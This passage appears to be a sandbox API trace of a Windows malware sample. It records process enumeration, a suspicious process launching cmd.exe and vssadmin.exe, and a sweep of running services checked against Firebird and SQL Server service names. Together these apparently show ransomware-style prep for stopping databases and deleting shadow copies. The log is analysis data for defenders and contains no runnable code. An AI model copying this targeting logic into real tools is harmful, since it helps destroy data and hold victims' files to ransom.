lstrlenW (lpString="svchost.exe") returned 11 [0177.088] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.089] lstrlenW (lpString="svchost.exe") returned 11 [0177.089] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.090] lstrlenW (lpString="svchost.exe") returned 11 [0177.090] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.091] lstrlenW (lpString="svchost.exe") returned 11 [0177.091] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.092] lstrlenW (lpString="svchost.exe") returned 11 [0177.092] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0177.093] lstrlenW (lpString="spoolsv.exe") returned 11 [0177.093] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.094] lstrlenW (lpString="svchost.exe") returned 11 [0177.094] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0177.095] lstrlenW (lpString="audiodg.exe") returned 11 [0177.095] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0177.309] lstrlenW (lpString="taskhostw.exe") returned 13 [0177.309] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0177.310] lstrlenW (lpString="sihost.exe") returned 10 [0177.310] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.311] lstrlenW (lpString="svchost.exe") returned 11 [0177.311] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0177.312] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0177.312] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0177.312] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0177.313] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0177.313] lstrlenW (lpString="Memory Compression") returned 18 [0177.313] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0177.314] lstrlenW (lpString="taskhostw.exe") returned 13 [0177.314] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0177.315] lstrlenW (lpString="msoia.exe") returned 9 [0177.315] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0177.316] lstrlenW (lpString="explorer.exe") returned 12 [0177.317] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0177.317] lstrlenW (lpString="SearchUI.exe") returned 12 [0177.317] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0177.318] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0177.319] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0177.319] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0177.319] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0177.321] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0177.321] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0177.322] lstrlenW (lpString="wmxsde.exe") returned 10 [0177.322] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0177.323] lstrlenW (lpString="cmd.exe") returned 7 [0177.323] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0177.324] lstrlenW (lpString="conhost.exe") returned 11 [0177.324] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0177.325] lstrlenW (lpString="consent.exe") returned 11 [0177.325] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0177.326] lstrlenW (lpString="vssadmin.exe") returned 12 [0177.326] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0177.327] CloseHandle (hObject=0x510) returned 1 [0177.327] Sleep (dwMilliseconds=0x1f4) [0178.224] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f268 [0178.225] EnumServicesStatusExW (in: hSCManager=0x459f268, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0178.226] GetLastError () returned 0xea [0178.226] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c28) returned 0x4661fb8 [0178.226] EnumServicesStatusExW (in: hSCManager=0x459f268, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4661fb8, cbBufSize=0x1c28, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4661fb8, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0178.228] CloseServiceHandle (hSCObject=0x459f268) returned 1 [0178.228] lstrlenW (lpString="Appinfo") returned 7 [0178.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0178.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0178.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0178.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0178.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0178.228] lstrlenW (lpString="AppXSvc") returned 7 [0178.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0178.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0178.228] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0178.228] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0178.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0178.228] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0178.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0178.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0178.228] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0178.228] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0178.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0178.228] lstrlenW (lpString="Audiosrv") returned 8 [0178.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0178.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0178.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0178.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0178.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0178.229] lstrlenW (lpString="BFE") returned 3 [0178.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0178.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0178.229] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0178.229] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0178.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0178.229] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0178.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0178.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0178.229] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0178.229] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0178.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0178.229] lstrlenW (lpString="CDPSvc") returned 6 [0178.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0178.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0178.229] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0178.229] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0178.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0178.229] lstrlenW (lpString="ClickToRunSvc") returned 13 [0178.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0178.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0178.229] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0178.229] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0178.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0178.229] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0178.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0178.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0178.230] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0178.230] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0178.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0178.230] lstrlenW (lpString="CryptSvc") returned 8 [0178.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0178.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0178.230] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0178.230] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0178.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0178.230] lstrlenW (lpString="DcomLaunch") returned 10 [0178.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0178.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0178.230] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0178.230] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0178.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0178.230] lstrlenW (lpString="DeviceAssociationService") returned 24 [0178.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0178.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0178.230] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0178.230] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0178.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0178.230] lstrlenW (lpString="Dhcp") returned 4 [0178.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0178.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0178.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0178.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0178.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0178.230] lstrlenW (lpString="Dnscache") returned 8 [0178.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0178.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0178.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0178.231] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0178.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0178.231] lstrlenW (lpString="DPS") returned 3 [0178.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0178.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0178.231] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0178.231] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0178.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0178.231] lstrlenW (lpString="DsmSvc") returned 6 [0178.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0178.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0178.231] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0178.231] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0178.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0178.231] lstrlenW (lpString="DusmSvc") returned 7 [0178.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0178.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0178.231] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0178.231] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0178.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0178.231] lstrlenW (lpString="EventLog") returned 8 [0178.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0178.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0178.231] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0178.231] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0178.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0178.232] lstrlenW (lpString="EventSystem") returned 11 [0178.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0178.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0178.232] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0178.232] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0178.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0178.232] lstrlenW (lpString="FontCache") returned 9 [0178.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0178.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0178.232] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0178.232] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0178.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0178.232] lstrlenW (lpString="gpsvc") returned 5 [0178.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0178.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0178.232] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0178.232] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0178.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0178.232] lstrlenW (lpString="iphlpsvc") returned 8 [0178.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0178.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0178.232] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0178.232] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0178.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0178.232] lstrlenW (lpString="KeyIso") returned 6 [0178.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0178.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0178.232] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0178.232] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0178.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0178.233] lstrlenW (lpString="LanmanServer") returned 12 [0178.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0178.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0178.233] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0178.233] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0178.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0178.233] lstrlenW (lpString="LanmanWorkstation") returned 17 [0178.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0178.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0178.233] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0178.233] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0178.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0178.233] lstrlenW (lpString="lfsvc") returned 5 [0178.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0178.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0178.233] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0178.233] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0178.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0178.233] lstrlenW (lpString="lmhosts") returned 7 [0178.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0178.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0178.233] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0178.233] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0178.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0178.233] lstrlenW (lpString="LSM") returned 3 [0178.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0178.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0178.233] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0178.233] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0178.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0178.233] lstrlenW (lpString="MpsSvc") returned 6 [0178.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0178.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0178.591] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0178.591] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0178.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0178.591] lstrlenW (lpString="NcbService") returned 10 [0178.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0178.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0178.591] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0178.591] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0178.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0178.591] lstrlenW (lpString="netprofm") returned 8 [0178.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0178.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0178.591] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0178.591] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0178.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0178.592] lstrlenW (lpString="NgcSvc") returned 6 [0178.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0178.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0178.592] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0178.592] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0178.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0178.592] lstrlenW (lpString="NlaSvc") returned 6 [0178.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0178.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0178.592] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0178.592] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0178.592] lstrcmpiW 